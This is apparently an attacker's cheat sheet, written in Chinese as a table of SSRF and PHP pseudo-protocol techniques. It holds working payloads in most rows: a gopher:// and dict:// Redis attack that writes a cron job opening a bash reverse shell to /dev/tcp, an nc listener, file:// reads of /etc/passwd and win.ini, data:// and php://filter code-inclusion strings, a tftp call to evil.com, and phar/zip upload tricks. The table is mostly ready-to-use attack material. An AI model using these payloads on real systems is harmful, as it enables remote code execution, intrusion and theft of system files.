ID |
技术 |
场景 |
过程 |
相关链接 |
关联武器库 |
|
---|---|---|---|---|---|---|
S1 | 判断是否存在SSRF | url格式类似:http://allods.my.com/index.php?form=https://example.com/yourimage.jpg,则可能存在SSRF。 | ||||
S2
|
SSRF伪协议利用总结 |
gopher伪协议 可以扫描内网、反弹shell |
gopher 协议的格式:gopher://+ip:端口+/+_ + TCP/IP 数据
get请求转化为gopher: post请求转换为gopher: gopher协议实际利用: 利用gopher攻击mysql: 协议转化:gopher://127.0.0.1:3306/_+url编码的登入请求+包长度+%00%00%00%03+查询语句(url编码)+%01%00%00%00%01 (工具推荐 https://github.com/tarunkant/Gopherus) 利用gopher攻击redis: 利用gopher反弹shell:curl -vvv 'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/4444 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a' 攻击 FastCGI: |
|||
S3 |
dict伪协议 可以扫描内网、反弹shell |
dict协议格式: dict://<user-auth>@<host>:<port>/d:<word> (dict://+ip:端口+/+TCP/IP 数据) 利用dict协议扫描端口、获取内网信息: ssrf.php?url=dict://attacker:11111/ curl -vvv 'dict://127.0.0.1:6379/info' curl dict://192.168.0.67:6379/get:name 利用dict协议及redis反弹shell: 1开启反弹shell的监听:nc -l 9999 2依次执行下面的命令 curl dict://192.168.0.119:6379/set:mars:" * * * * * root bash -i >& /dev/tcp/192.168.0.119/9999 0>&1 " curl dict://192.168.0.119:6379/config:set:dir:/etc/ curl dict://192.168.0.119:6379/config:set:dbfilename:crontab curl dict://192.168.0.119:6379/bgsave 执行时,反弹shell的命令,也就是set:mars:xxx,会因为特殊字符的原因无法写入到目标的redis中,被被空格所分割导致出现一下情况: 1584705879.520734 [0 172.17.0.1:44488] "set" "mars" "\n\n*" "*" "*" "*" "*" "root" "bash" "-i" ">&" "/dev/tcp/192.168.0.119/6789" "0>&1\n\n" 根据上图我们会发现,命令被分割了,看表象感觉像是被空格分割了。此时将反弹shell的命令进行十六进制转换,变为: 以上单引号使用反斜杠进行转移,其他数据进行十六进制编码,执行结果如下,可以发现没有错误了 1584706087.980465 [0 172.17.0.1:44490] "set" "mars" " * * * * * root bash -i >& /dev/tcp/192.168.0.119/9999 0>&1 " 剩下的修改路径和文件名称的请求,正常执行即可 dict 协议是一个字典服务器协议,就是用来查单词的那种字典。字典服务器本来是为了让客户端使用过程中能够访问更多的字典源。 |
http://www.cxyzjd.com/article/weixin_35431719/114470730 | |||
S4 | file:// 访问文件 |
用于访问本地文件系统,不受allow_url_fopen与allow_url_include的影响 从文件系统中获取文件:http://safebuff.com/redirect.php?url=file:///etc/passwd 读取本地文件:curl file:///etc/passwd http://example.com/ssrf.php?file=compress.zlib:///file.gz ?file=zip://D:/soft/phpStudy/WWW/file.zipk23phpcode.txt 利用payload:http://example.com/ssrf.php?url=file:///etc/passwd http://example.com/ssrf.php?url=file:///C:/Windows/win.ini http://127.0.0.1/include.php?file=file://E:phpStudyPHPTutorialWWWphpinfo.txt |
||||
S5 |
data:// data://:需满足allow_url_fopen,allow_url_include同时开启才能使用。 |
利用data:// 伪协议可以直接达到执行php代码的效果,例如执行phpinfo()函数: http://127.0.0.1/include?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= http://127.0.0.1/include?file=data://text/plain,<?php phpinfo()?> file.php?file=data://text/plain,<?php phpinfo()?> |
||||
S6 | php:// |
php://filter 用于读取源码 php://input 用于执行php代码 ?page=php://filter/read=convert.base64-encode/resource=../flag.php |
||||
S7 |
zip:// bzip2://: zlib://: 在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用 |
file.php?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] file.php?file=compress.bzip2://nac.bz2 file.php?file=compress.zlib://file.gz |
https://www.jianshu.com/p/0a8339fcc269 | |||
S8 | sftp:// ldap:// tftp:// |
http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET |
https://www.cnblogs.com/-mo-/p/11673190.html | |||
S9 | phar://可导致反序列化漏洞 |
直接利用:payload:un.php?filename=phar://phar.gif/test 文件上传利用: 把一个php文件压缩成zip文件,然后把zip后缀改为jpg,然后利用这个协议去执行,当然不一定要这样做,直接传zip也是可以利用成功的 利用zip或phar伪协议读取压缩包中的文件 /about.php?f=zip://./images/1499394959.jpg%231.php |
https://blog.szfszf.top/article/17/ |